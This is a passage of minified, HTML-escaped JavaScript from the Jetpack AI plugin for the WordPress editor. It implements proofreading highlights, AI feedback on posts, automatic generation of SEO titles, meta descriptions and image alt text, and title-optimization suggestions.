select)(d.M),{invalidateSuggestions:y,setBlockMd5:x}=(0,n.dispatch)(&quot;jetpack/ai-breve&quot;),j={formats:f,text:b},w=h;let _=l;const C=k(m);if(b&amp;&amp;e&amp;&amp;a&amp;&amp;!p){const e=v(m);let n=b??&quot;&quot;;&quot;content&quot;!==g&amp;&amp;e&amp;&amp;(n=(0,r.getBlockContent)(e));const o=i()(n).toString();C!==o&amp;&amp;(_=[],y(m),x(m,o));const a=t(b),l=(0,u.A)({ignored:_,content:j,type:w,indexes:a,attributes:{&quot;data-breve-type&quot;:s.name,&quot;data-identifier&quot;:g??&quot;none&quot;,&quot;data-block&quot;:m}});return setTimeout(()=&gt;{(0,c.A)(m)},100),l.formats}return(0,o.removeFormat)(j,w,0,j.text.length).formats}};(0,o.registerFormatType)(h,m)}(e)})}},23686(e,t,s){&quot;use strict&quot;;function r({text:e,target:t,occurrence:s,replacement:r}){const n=new RegExp(t,&quot;gi&quot;),o=Array.from(e.matchAll(n)).map(e=&gt;e.index)[s-1],a=o+t.length;return e.substring(0,o)+r+e.substring(a)}s.d(t,{A:()=&gt;r})},37215(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(96865),n=s(85985),o=s(56427),a=s(47143),i=s(43656),l=s(86087),c=s(27723),u=(s(86887),s(10790));const __=c.__;function d({disabled:e=!1,busy:t=!1,placement:s}){const[c,d]=(0,l.useState)(!1),[p,h]=(0,l.useState)(&quot;&quot;),{tracks:m}=(0,n.st)(),g=(0,a.useSelect)(e=&gt;e(i.store).getCurrentPostId(),[]),{getPostContent:f,isEditedPostEmpty:b}=(0,r.dh)(),v=()=&gt;{d(!c)},{increaseAiAssistantRequestsCount:k,dequeueAiAssistantFeatureAsyncRequest:y}=(0,a.useDispatch)(&quot;wordpress-com/plans&quot;),x=(0,l.useCallback)(()=&gt;{k()},[k]),{request:j,requestingState:w}=(0,r.o2)({askQuestionOptions:{postId:Number(g)},onSuggestion:e=&gt;{const t=(0,r._E)({content:e});h(t)},onDone:x,onError:()=&gt;{}});return(0,u.jsxs)(&quot;div&quot;,{children:[c&amp;&amp;(0,u.jsx)(r.yV,{requestingState:w,handleClose:v,children:(0,u.jsx)(l.RawHTML,{className:&quot;ai-assistant-post-feedback__suggestion&quot;,children:p})}),(0,u.jsx)(&quot;p&quot;,{className:&quot;jetpack-ai-assistant__help-text&quot;,children:__(&quot;Get feedback on content structure.&quot;,&quot;jetpack&quot;)}),(0,u.jsx)(o.Button,{onClick:()=&gt;{const e=[{role:&quot;jetpack-ai&quot;,context:{type:&quot;proofread-plugin&quot;,content:f()}}];y(),j(e,{feature:&quot;jetpack-ai-proofread-plugin&quot;}),v(),m.recordEvent(&quot;jetpack_ai_get_feedback&quot;,{feature:&quot;jetpack-ai-proofread-plugin&quot;,placement:s})},variant:&quot;secondary&quot;,disabled:b()||e,isBusy:t,__next40pxDefaultSize:!0,children:__(&quot;Generate feedback&quot;,&quot;jetpack&quot;)})]})}},4167(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;n,z:()=&gt;o});var r=s(27723);const __=r.__,n=[&quot;seo-title&quot;,&quot;seo-meta-description&quot;,&quot;images-alt-text&quot;],o={&quot;seo-title&quot;:__(&quot;SEO title&quot;,&quot;jetpack&quot;),&quot;seo-meta-description&quot;:__(&quot;SEO description&quot;,&quot;jetpack&quot;),&quot;images-alt-text&quot;:__(&quot;Image alt text&quot;,&quot;jetpack&quot;)}},89870(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;r.k});s(16204),s(46895);var r=s(74088)},40071(e,t,s){&quot;use strict&quot;;s.d(t,{V:()=&gt;c});var r=s(56427),n=s(47143),o=s(27723),a=s(4167),i=s(16204),l=(s(93768),s(10790));const __=o.__;function c({isPrePublish:e}){const{titleBusy:t,descriptionBusy:s,imageBusy:o}=(0,n.useSelect)(e=&gt;{const{isTitleBusy:t,isDescriptionBusy:s,isAnyImageBusy:r}=e(i.M);return{titleBusy:t(),descriptionBusy:s(),imageBusy:r()}},[]),c=e=&gt;&quot;seo-title&quot;===e?t:&quot;seo-meta-description&quot;===e?s:&quot;images-alt-text&quot;===e&amp;&amp;o;return(0,l.jsxs)(&quot;div&quot;,{className:&quot;jetpack-seo-sidebar__feature-list-container&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-sidebar__feature-list-title&quot;,children:__(&quot;If not provided we&#039;ll automatically generate:&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-sidebar__feature-list&quot;,children:a.G.map(t=&gt;e?(0,l.jsxs)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer__feature-list-item&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer__feature-list-item-icon-container&quot;,children:(0,l.jsx)(r.Spinner,{style:{marginRight:0,display:c(t)?&quot;inline-block&quot;:&quot;none&quot;}})}),(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer__feature-list-item-label&quot;,children:a.z[t]})]},t):(0,l.jsxs)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer__feature-list-item&quot;,children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer__feature-list-item-icon-container&quot;}),(0,l.jsx)(&quot;div&quot;,{children:a.z[t]})]},t))})]})}},74088(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;k});var r=s(96865),n=s(85985),o=s(94715),a=s(56427),i=s(47143),l=s(86087),c=s(27723),u=s(10067),d=s.n(u),p=s(4167),h=s(40071),m=s(16204),g=s(77682),f=s(96012),b=(s(93768),s(10790));const __=c.__,v=d()(&quot;seo-enhancer:index&quot;);function k({disableAutoEnhance:e=!1,placement:t=null}){const{tracks:s}=(0,n.st)(),{isEnabled:c,toggleEnhancer:u,isToggling:d}=(0,g.S)(),k=(0,i.useSelect)(e=&gt;{const t=e(m.M).isBusy(),s=e(m.M).isAnyImageBusy();return t||s},[]),y=(0,i.useSelect)(e=&gt;e(m.M).getEnabledFeatures(),[]),x=(0,i.useSelect)(e=&gt;e(o.store).getBlocks(),[]),j=(0,l.useMemo)(()=&gt;x.length?(0,r._G)().filter(e=&gt;&quot;core/image&quot;===e.name&amp;&amp;e.attributes.url&amp;&amp;!e.attributes.alt):[],[x]),{setFeatureEnabled:w}=(0,i.useDispatch)(m.M),{updateSeoData:_}=(0,f.X)(),C=(0,l.useCallback)(async()=&gt;{const e=!c;await u({placement:t}),&quot;jetpack-prepublish-sidebar&quot;===t&amp;&amp;e&amp;&amp;_()},[u,t,_,c]),A=(0,l.useCallback)(e=&gt;{const r=y.includes(e);s.recordEvent(&quot;jetpack_seo_enhancer_feature_toggle&quot;,{feature:e,toggled:r?&quot;off&quot;:&quot;on&quot;,placement:t}),w(e,!r)},[y,w,s,t]);return(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)(a.PanelRow,{className:&quot;jetpack-seo-sidebar__feature-section jetpack-seo-sidebar__feature-section--toggle&quot;,children:(0,b.jsxs)(a.BaseControl,{__nextHasNoMarginBottom:!0,className:&quot;ai-seo-enhancer-toggle&quot;,children:[(0,b.jsx)(a.BaseControl.VisualLabel,{className:&quot;ai-seo-enhancer-label&quot;,children:__(&quot;Metadata AI Generator&quot;,&quot;jetpack&quot;)}),!e&amp;&amp;(0,b.jsx)(a.ToggleControl,{checked:c,disabled:d||k,onChange:C,label:__(&quot;Auto-generate metadata&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0,help:__(&quot;When enabled, missing metadata will be automatically generated when you publish a post.&quot;,&quot;jetpack&quot;)}),(!c||e)&amp;&amp;(0,b.jsx)(&quot;div&quot;,{className:&quot;feature-checkboxes-container&quot;,children:p.G.map(e=&gt;(0,b.jsx)(a.CheckboxControl,{label:p.z[e],checked:y.includes(e),onChange:()=&gt;A(e),__nextHasNoMarginBottom:!0,disabled:k,className:k?&quot;is-disabled&quot;:&quot;&quot;},e))}),c&amp;&amp;!e&amp;&amp;(0,b.jsx)(h.V,{isPrePublish:&quot;jetpack-prepublish-sidebar&quot;===t,imageBlocks:j})]})}),!c&amp;&amp;(0,b.jsx)(a.PanelRow,{className:&quot;jetpack-seo-sidebar__feature-section&quot;,children:(0,b.jsx)(a.BaseControl,{__nextHasNoMarginBottom:!0,className:&quot;ai-seo-enhancer-toggle&quot;,children:(0,b.jsx)(a.Button,{isBusy:k,disabled:k,onClick:async()=&gt;{try{await _()}catch(e){v(&quot;Error generating SEO data&quot;,e)}},variant:&quot;secondary&quot;,__next40pxDefaultSize:!0,children:__(&quot;Generate metadata&quot;,&quot;jetpack&quot;)})})})]})}},12430(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(96865),n=s(56427),o=s(47143),a=s(43656),i=s(86087),l=s(27723),c=s(13109),u=s(88901),d=s(4167),p=s(16204),h=(s(93768),s(10790));const __=l.__;function m({onEdit:e}){const{title:t,description:s}=(0,o.useSelect)(e=&gt;{const t=e(a.store).getEditedPostAttribute(&quot;meta&quot;);return{title:t?.jetpack_seo_html_title??&quot;&quot;,description:t?.advanced_seo_description??&quot;&quot;}},[]),{titleBusy:m,descriptionBusy:g,imageBusy:f}=(0,o.useSelect)(e=&gt;{const{isTitleBusy:t,isDescriptionBusy:s,isAnyImageBusy:r}=e(p.M);return{titleBusy:t(),descriptionBusy:s(),imageBusy:r()}},[]),[b,v]=(0,i.useState)(null),k=(0,i.useMemo)(()=&gt;t||&quot;&quot;,[t]),y=(0,i.useMemo)(()=&gt;s||&quot;&quot;,[s]);(0,i.useEffect)(()=&gt;{const e=(0,r._G)().filter(e=&gt;&quot;core/image&quot;===e.name&amp;&amp;e.attributes.url);if(0===e.length)return void v(&quot;&quot;);const t=e.filter(e=&gt;!!e.attributes.alt);0!==t.length?t.length!==e.length?t.length&lt;e.length&amp;&amp;v((0,l.sprintf)(
// Translators: %1$d is the number of images with alt text, %2$d is the total number of images.
__(&quot;Alt text added to %1$d of %2$d images&quot;,&quot;jetpack&quot;),t.length,e.length)):v(__(&quot;Alt text added to all images&quot;,&quot;jetpack&quot;)):v(&quot;&quot;)},[]);const x=(0,i.useMemo)(()=&gt;({&quot;seo-title&quot;:m?null:k,&quot;seo-meta-description&quot;:g?null:y,&quot;images-alt-text&quot;:f?null:b}),[g,b,f,y,k,m]),j=(0,i.useMemo)(()=&gt;Object.values(x).every(e=&gt;!e),[x]),w=__(&quot;Want to fine-tune this metadata further?&quot;,&quot;jetpack&quot;),_=__(&quot;No metadata found. Add it to improve search engine visibility.&quot;,&quot;jetpack&quot;);return(0,h.jsx)(h.Fragment,{children:(0,h.jsxs)(n.PanelRow,{className:&quot;jetpack-seo-sidebar__feature-section jetpack-seo-sidebar__feature-section--toggle&quot;,children:[(0,h.jsx)(n.BaseControl,{__nextHasNoMarginBottom:!0,className:&quot;ai-seo-enhancer-toggle&quot;,help:j?_:w,label:__(&quot;Metadata&quot;,&quot;jetpack&quot;),id:&quot;jetpack-seo-enhancer-generated-metadata&quot;,children:!j&amp;&amp;d.G.map(e=&gt;x[e]?(0,h.jsxs)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer-summary-feature&quot;,children:[(0,h.jsx)(&quot;div&quot;,{className:&quot;jetpack-seo-enhancer-summary-feature__icon-container&quot;,children:(0,h.jsx)(c.A,{className:&quot;jetpack-seo-enhancer-summary-feature__icon&quot;,icon:u.A})}),(0,h.jsx)(n.BaseControl,{className:&quot;jetpack-seo-enhancer-summary-feature__control&quot;,label:d.z[e],id:e,help:x[e],__nextHasNoMarginBottom:!0,children:null},e)]},e):null)}),(0,h.jsx)(n.Button,{variant:&quot;secondary&quot;,__next40pxDefaultSize:!0,className:&quot;jetpack-seo-enhancer-summary__edit-button&quot;,onClick:e,children:__(&quot;Edit SEO metadata&quot;,&quot;jetpack&quot;)})]})})}},6363(e,t,s){&quot;use strict&quot;;function r(e){return{type:&quot;SET_BUSY&quot;,isBusy:e}}function n(e){return{type:&quot;SET_TITLE_BUSY&quot;,isBusy:e}}function o(e){return{type:&quot;SET_DESCRIPTION_BUSY&quot;,isBusy:e}}function a(e){return{type:&quot;SET_IS_TOGGLING_AUTO_ENHANCE&quot;,isToggling:e}}function i(e){return{type:&quot;SET_IS_AUTO_ENHANCE_ENABLED&quot;,isEnabled:e}}function l(e,t){return{type:&quot;SET_IMAGE_BUSY&quot;,clientId:e,isBusy:t}}function c(e,t){return{type:&quot;SET_IMAGE_FAILED&quot;,clientId:e,failed:t}}function u(e,t){return{type:&quot;SET_FEATURE_ENABLED&quot;,feature:e,enabled:t}}s.r(t),s.d(t,{setBusy:()=&gt;r,setDescriptionBusy:()=&gt;o,setFeatureEnabled:()=&gt;u,setImageBusy:()=&gt;l,setImageFailed:()=&gt;c,setIsAutoEnhanceEnabled:()=&gt;i,setIsTogglingAutoEnhance:()=&gt;a,setTitleBusy:()=&gt;n})},16204(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;d});var r=s(97999),n=s(85985),o=s(47143),a=s(4167),i=s(6363),l=s(49824),c=s(16886);let u=!1;try{if(!(0,r.isSimpleSite)()){const e=(0,o.select)(n.M_).getJetpackModules()[&quot;seo-tools&quot;],t=e&amp;&amp;&quot;ai_seo_enhancer_enabled&quot;in e.options;u=t&amp;&amp;e.options?.ai_seo_enhancer_enabled?.current_value}}catch{u=!1}const d=(0,o.createReduxStore)(&quot;jetpack/seo-enhancer&quot;,{reducer:l.A,selectors:c,actions:i,initialState:function(){const e=a.G.reduce((e,t)=&gt;(e[t]=!0,e),{});try{const t=localStorage.getItem(&quot;jetpack-seo-enhancer-features&quot;),s=t?JSON.parse(t):{};for(const t of a.G)e[t]=s[t]??!0}catch{}return{isBusy:!1,isTogglingAutoEnhance:!1,isAutoEnhanceEnabled:u,busyImages:{},failedImages:{},features:e}}()});(0,o.register)(d)},49824(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=function(e,t){let s=e;switch(t.type){case&quot;SET_BUSY&quot;:return{...e,isBusy:t.isBusy};case&quot;SET_TITLE_BUSY&quot;:return{...e,isTitleBusy:t.isBusy};case&quot;SET_DESCRIPTION_BUSY&quot;:return{...e,isDescriptionBusy:t.isBusy};case&quot;SET_IS_TOGGLING_AUTO_ENHANCE&quot;:return{...e,isTogglingAutoEnhance:t.isToggling};case&quot;SET_IS_AUTO_ENHANCE_ENABLED&quot;:return{...e,isAutoEnhanceEnabled:t.isEnabled};case&quot;SET_IMAGE_BUSY&quot;:return{...e,busyImages:{...e.busyImages,[t.clientId]:t.isBusy}};case&quot;SET_IMAGE_FAILED&quot;:return{...e,failedImages:{...e.failedImages,[t.clientId]:t.failed}};case&quot;SET_FEATURE_ENABLED&quot;:return s={...e,features:{...e.features,[t.feature]:t.enabled}},r=s.features,localStorage.setItem(&quot;jetpack-seo-enhancer-features&quot;,JSON.stringify(r)),s;default:return e}var r}},16886(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{getEnabledFeatures:()=&gt;p,hasImageFailed:()=&gt;d,isAnyImageBusy:()=&gt;u,isAutoEnhanceEnabled:()=&gt;l,isBusy:()=&gt;n,isDescriptionBusy:()=&gt;a,isImageAltTextFeatureEnabled:()=&gt;h,isImageBusy:()=&gt;c,isTitleBusy:()=&gt;o,isTogglingAutoEnhance:()=&gt;i});var r=s(47143);function n(e){return e.isBusy}function o(e){return e.isTitleBusy}function a(e){return e.isDescriptionBusy}function i(e){return e.isTogglingAutoEnhance}function l(e){return e.isAutoEnhanceEnabled}function c(e,t){return e.busyImages[t]??!1}function u(e){return Object.values(e.busyImages).some(e=&gt;e)}function d(e,t){return e.failedImages[t]??!1}const p=(0,r.createSelector)(e=&gt;Object.keys(e.features).filter(t=&gt;e.features[t]),e=&gt;[e.features]);function h(e){return p(e).includes(&quot;images-alt-text&quot;)}},77682(e,t,s){&quot;use strict&quot;;s.d(t,{S:()=&gt;p});var r=s(85985),n=s(1455),o=s.n(n),a=s(47143),i=s(86087),l=s(10067),c=s.n(l),u=s(16204);const d=c()(&quot;seo-enhancer:use-seo-module-settings&quot;),p=()=&gt;{const{tracks:e}=(0,r.st)(),t=(0,a.useSelect)(e=&gt;e(u.M).isAutoEnhanceEnabled(),[]),s=(0,a.useSelect)(e=&gt;e(u.M).isTogglingAutoEnhance(),[]),n=(0,a.useDispatch)(u.M).setIsTogglingAutoEnhance,l=(0,a.useDispatch)(u.M).setIsAutoEnhanceEnabled,c=(0,i.useCallback)(async({placement:s})=&gt;{n(!0);try{await o()({path:&quot;jetpack/v4/module/seo-tools&quot;,method:&quot;post&quot;,data:{ai_seo_enhancer_enabled:!t}}),e.recordEvent(&quot;jetpack_seo_enhancer_toggle&quot;,{toggled:t?&quot;off&quot;:&quot;on&quot;,placement:s}),l(!t)}catch(r){d(&quot;Error toggling SEO enhancer&quot;,r),e.recordEvent(&quot;jetpack_seo_enhancer_toggle_error&quot;,{toggled:t?&quot;off&quot;:&quot;on&quot;,error:r?.message,placement:s})}finally{n(!1)}},[t,l,n,e]);return{isEnabled:t,toggleEnhancer:c,isToggling:s}}},96012(e,t,s){&quot;use strict&quot;;s.d(t,{X:()=&gt;g});var r=s(96865),n=s(85985),o=s(47143),a=s(43656),i=s(86087),l=s(27723),c=s(10067),u=s.n(c),d=s(4647),p=s(16204);const __=l.__,h=u()(&quot;seo-enhancer:use-seo-requests&quot;),m=e=&gt;JSON.parse(e?.replace?.(/^```json\s*/,&quot;&quot;)?.replace(/```$/,&quot;&quot;)),g=()=&gt;{const{tracks:e}=(0,n.st)(),{editPost:t}=(0,o.useDispatch)(a.store),{updateBlockAttributes:s}=(0,o.useDispatch)(&quot;core/block-editor&quot;),l=(0,o.useSelect)(e=&gt;e(a.store).getCurrentPostId(),[]),{getPostContent:c}=(0,r.dh)(),{isBusy:u,enabledFeatures:g}=(0,o.useSelect)(e=&gt;({isBusy:e(p.M).isBusy(),enabledFeatures:e(p.M).getEnabledFeatures()}),[]),{setBusy:f,setTitleBusy:b,setDescriptionBusy:v}=(0,o.useDispatch)(p.M),{isImageBusy:k,hasImageFailed:y}=(0,o.useSelect)(e=&gt;e(p.M),[]),{setImageBusy:x,setImageFailed:j}=(0,o.useDispatch)(p.M),{createInfoNotice:w}=(0,o.useDispatch)(&quot;core/notices&quot;),{increaseRequestsCount:_,dequeueAsyncRequest:C,requireUpgrade:A}=(0,r.yM)(),[S,E]=(0,i.useState)(null),N=(0,i.useCallback)(async(e,t,s=!1)=&gt;{let n={type:e},o=&quot;jetpack-seo-assistant&quot;;return&quot;seo-title&quot;!==e&amp;&amp;&quot;seo-meta-description&quot;!==e||(n={...n,content:c(),count:1}),&quot;images-alt-text&quot;===e&amp;&amp;(n={...n,content:c(d.P),images:[{url:s?await(0,r.Zo)(t?.attributes.url):t?.attributes.url}]},o=&quot;jetpack-ai-image-extension&quot;),(0,r.R0)([{role:&quot;jetpack-ai&quot;,context:n}],{postId:Number(l),feature:o})},[c,l]),T=(0,i.useCallback)(async(s=!1)=&gt;{if(!!(0,o.select)(a.store).getEditedPostAttribute(&quot;meta&quot;)?.jetpack_seo_html_title&amp;&amp;!0!==s)return null;try{b(!0);const s=await N(&quot;seo-title&quot;),r=m(s).titles?.[0];return r&amp;&amp;r.length&gt;70&amp;&amp;e.recordEvent(&quot;jetpack_seo_enhancer_title_too_long&quot;,{character_count:r.length}),&quot;auto&quot;===S&amp;&amp;(0,o.select)(a.store).isCurrentPostPublished()?!1:(t({meta:{jetpack_seo_html_title:r}}),!0)}catch(e){return h(&quot;Error updating title&quot;,e),!1}finally{b(!1)}},[b,N,t,e,S]),B=(0,i.useCallback)(async(s=!1)=&gt;{if(!!(0,o.select)(a.store).getEditedPostAttribute(&quot;meta&quot;)?.advanced_seo_description&amp;&amp;!0!==s)return null;try{v(!0);const s=await N(&quot;seo-meta-description&quot;),r=m(s).descriptions?.[0];return r&amp;&amp;r.length&gt;156&amp;&amp;e.recordEvent(&quot;jetpack_seo_enhancer_description_too_long&quot;,{character_count:r.length}),&quot;auto&quot;===S&amp;&amp;(0,o.select)(a.store).isCurrentPostPublished()?!1:(t({meta:{advanced_seo_description:r}}),!0)}catch(e){return h(&quot;Error updating description&quot;,e),!1}finally{v(!1)}},[v,N,t,e,S]),P=(0,i.useCallback)(async(e,t=!1)=&gt;{if(A)return h(&quot;Upgrade required, skipping&quot;),null;if(k(e.clientId))return h(&quot;Already updating alt text, skipping&quot;),null;if(y(e.clientId))return h(&quot;Image failed, skipping&quot;),null;try{x(e.clientId,!0),C();const r=await N(&quot;images-alt-text&quot;,e,t);_();const n=m(r).texts?.[0];return&quot;auto&quot;===S&amp;&amp;(0,o.select)(a.store).isCurrentPostPublished()?(x(e.clientId,!1),!1):(await s(e.clientId,{alt:n}),x(e.clientId,!1),!0)}catch(s){return x(e.clientId,!1),s?.message.includes(&quot;The image URL is invalid&quot;)&amp;&amp;!t?(h(&quot;Retrying with base64 image&quot;),P(e,!0)):(&quot;fetch_error&quot;!==s?.code&amp;&amp;j(e.clientId,!0),h(&quot;Error updating alt text&quot;,s),!1)}},[A,k,y,x,C,N,_,s,j,S]),I=(0,i.useCallback)(async(e=!1)=&gt;{const t=(0,r._G)().filter(e=&gt;&quot;core/image&quot;===e.name),s=t.filter(e=&gt;!e.attributes.alt),n=(e?t:s).map(async e=&gt;await P(e));return await Promise.all(n)},[P]);return{updateSeoData:(0,i.useCallback)(async({trigger:t=&quot;manual&quot;}={})=&gt;{const s=[];f(!0),E(t);const r={trigger:t,seo_title:!1,seo_meta_description:!1,images_alt_text:!1};&quot;auto&quot;===t?(s.push(T()),s.push(B()),s.push(I()),r.seo_title=!0,r.seo_meta_description=!0,r.images_alt_text=!0):g.forEach(e=&gt;{&quot;seo-title&quot;===e&amp;&amp;(s.push(T()),r.seo_title=!0),&quot;seo-meta-description&quot;===e&amp;&amp;(s.push(B()),r.seo_meta_description=!0),&quot;images-alt-text&quot;===e&amp;&amp;(s.push(I()),r.images_alt_text=!0)}),e.recordEvent(&quot;jetpack_seo_enhancer_trigger&quot;,r);const n=(await Promise.all(s)).flat();f(!1),n.some(e=&gt;!0===e)&amp;&amp;w(__(&quot;SEO metadata added&quot;,&quot;jetpack&quot;),{type:&quot;snackbar&quot;})},[f,g,w,T,B,I,e]),updateAltText:P,isBusy:u}}},46895(e,t,s){&quot;use strict&quot;;var r=s(97999),n=s(85985),o=s(29491),a=s(47143),i=s(86087),l=s(52619),c=s(16204),u=s(77682),d=s(96012),p=s(10790);const h=!0===(0,n.FB)(&quot;ai-seo-enhancer&quot;)?.available&amp;&amp;!(0,r.isSimpleSite)();const m=(0,o.createHigherOrderComponent)(e=&gt;{function t(t){const{updateAltText:s}=(0,d.X)(),{isEnabled:r}=(0,u.S)(),{getBlock:n,isImageAltTextFeatureEnabled:o}=(0,a.useSelect)(e=&gt;{const{getBlock:t}=e(&quot;core/block-editor&quot;),{isImageAltTextFeatureEnabled:s}=e(c.M);return{getBlock:t,isImageAltTextFeatureEnabled:s}},[]),l=(0,i.useRef)(t.attributes.url);return(0,i.useEffect)(()=&gt;{const e=l.current!==t.attributes.url,a=!t.attributes.alt,i=r&amp;&amp;o();if(t.attributes.url&amp;&amp;e&amp;&amp;a&amp;&amp;i){const e=n(t.clientId);e&amp;&amp;s(e)}l.current=t.attributes.url},[t.attributes.url,t.attributes.alt,t.clientId,n,s,r,o]),(0,p.jsx)(e,{...t})}return s=&gt;{const{isModuleActive:r}=(0,n.q7)(&quot;seo-tools&quot;);return r?(0,p.jsx)(t,{...s}):(0,p.jsx)(e,{...s})}},&quot;blockEditWithSeoAutoGeneration&quot;);(0,l.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/ai-assistant-support/with-seo-auto-generation&quot;,function(e,t){return&quot;core/image&quot;===t&amp;&amp;h?{...e,edit:m(e.edit)}:e},100)},76318(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(96865),n=s(85985),o=s(56427),a=s(47143),i=s(86087),l=s(27723),c=s(48499),u=s(22079),d=s(22473),p=(s(65620),s(10790));const __=l.__,h=(0,c.C)(&quot;ai-title-optimization-keywords-support&quot;),m=__(&quot;The generation of your suggested titles failed. Please try again.&quot;,&quot;jetpack&quot;),g=&quot;json-parse-error&quot;,f=({error:e})=&gt;{if(e.code===r.Or)return(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__error&quot;,children:(0,p.jsx)(r.Hb,{useLightNudge:!0})});const t=e.message?e.message:m;return(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__error&quot;,children:(0,p.jsx)(o.Notice,{status:&quot;error&quot;,isDismissible:!1,children:t})})};function b({placement:e,busy:t,disabled:s}){const l=__(&quot;Optimize post title&quot;,&quot;jetpack&quot;),c=__(&quot;Improve title for SEO&quot;,&quot;jetpack&quot;),b=h?c:l,v=__(&quot;Based on your post content.&quot;,&quot;jetpack&quot;),k=__(&quot;Based on your post content and SEO best practices.&quot;,&quot;jetpack&quot;),y=h?k:v,x=__(&quot;Generate title options&quot;,&quot;jetpack&quot;),j=__(&quot;Generate title options&quot;,&quot;jetpack&quot;),w=h?j:x,{getPostContent:_,isEditedPostEmpty:C}=(0,r.dh)(),[A,S]=(0,i.useState)(null),[E,N]=(0,i.useState)(!1),[T,B]=(0,i.useState)(!1),[P,I]=(0,i.useState)([]),[M,L]=(0,i.useState)(null),[R,D]=(0,i.useState)(&quot;&quot;),{editPost:F}=(0,a.useDispatch)(&quot;core/editor&quot;),{autosave:O}=(0,n.ZR)(),{increaseAiAssistantRequestsCount:z}=(0,a.useDispatch)(&quot;wordpress-com/plans&quot;),{tracks:U}=(0,n.st)(),{recordEvent:H}=U,q=(0,i.useCallback)(()=&gt;{N(!E)},[E]),V=(0,i.useCallback)(e=&gt;{B(!1),z();try{const t=JSON.parse(e);I(t),S(t?.[0]?.title)}catch{L({code:g,message:m})}},[z]),{request:$,stopSuggestion:G}=(0,r.o2)({onDone:V,onError:e=&gt;{L(e),B(!1)}}),W=(0,i.useCallback)((t=!1)=&gt;{H(&quot;jetpack_ai_title_optimization_generate&quot;,{placement:e,has_keywords:!!R,is_retry:t}),B(!0);const s=[{role:&quot;jetpack-ai&quot;,context:{type:&quot;title-optimization&quot;,content:_(),keywords:R}}];$(s,{feature:&quot;jetpack-ai-title-optimization&quot;})},[H,e,_,R,$]),Z=(0,i.useCallback)(()=&gt;{q(),W()},[W,q]),J=(0,i.useCallback)(()=&gt;{L(null),0===P.length&amp;&amp;W(!0)},[W,P]),K=(0,i.useCallback)(()=&gt;{W()},[W]),Y=(0,i.useCallback)(t=&gt;{H(&quot;jetpack_ai_title_optimization_accept&quot;,{placement:e}),F({title:A}),q();try{O(t)}catch{}},[O,F,e,H,A,q]),Q=(0,i.useCallback)(()=&gt;{L(null),q(),D(&quot;&quot;),G()},[G,q]),X=M&amp;&amp;[g,r.mA,r.AZ,r.L9].includes(M.code),ee=!M;return(0,p.jsxs)(&quot;div&quot;,{children:[(0,p.jsx)(&quot;p&quot;,{className:&quot;jetpack-ai-assistant__help-text&quot;,children:y}),(0,p.jsx)(o.Button,{isBusy:t,disabled:C()||s,onClick:Z,variant:&quot;secondary&quot;,__next40pxDefaultSize:!0,children:w}),E&amp;&amp;(0,p.jsxs)(r.yV,{handleClose:Q,title:b,maxWidth:h?700:512,children:[T?(0,p.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__loading&quot;,children:[(0,p.jsx)(o.Spinner,{style:{width:&quot;50px&quot;,height:&quot;50px&quot;}}),__(&quot;Reading your post and generating suggestions…&quot;,&quot;jetpack&quot;)]}):(0,p.jsxs)(p.Fragment,{children:[M?(0,p.jsx)(f,{error:M}):(0,p.jsxs)(p.Fragment,{children:[h&amp;&amp;(0,p.jsx)(u.A,{onGenerate:K,onKeywordsChange:D,disabled:T,currentKeywords:R}),!h&amp;&amp;(0,p.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-title-optimization__intro&quot;,children:__(&quot;Choose an optimized title below:&quot;,&quot;jetpack&quot;)}),(0,p.jsx)(d.A,{onChangeValue:e=&gt;S(e.target.value),selected:A,options:P?.map?.(e=&gt;({value:e.title,label:e.title,description:e.explanation}))})]}),(0,p.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__cta&quot;,children:[(0,p.jsx)(o.Button,{variant:&quot;secondary&quot;,onClick:Q,children:__(&quot;Cancel&quot;,&quot;jetpack&quot;)}),X&amp;&amp;(0,p.jsx)(o.Button,{variant:&quot;primary&quot;,onClick:J,children:__(&quot;Try again&quot;,&quot;jetpack&quot;)}),ee&amp;&amp;(0,p.jsx)(o.Button,{variant:&quot;primary&quot;,onClick:Y,children:__(&quot;Replace title&quot;,&quot;jetpack&quot;)})]})]}),(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__footer&quot;,children:(0,p.jsx)(o.ExternalLink,{href:&quot;https://jetpack.com/redirect/?source=jetpack-ai-feedback&quot;,children:__(&quot;Provide feedback&quot;,&quot;jetpack&quot;)})})]})]})}},22079(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=(s(88942),s(10790));const __=n.__;function 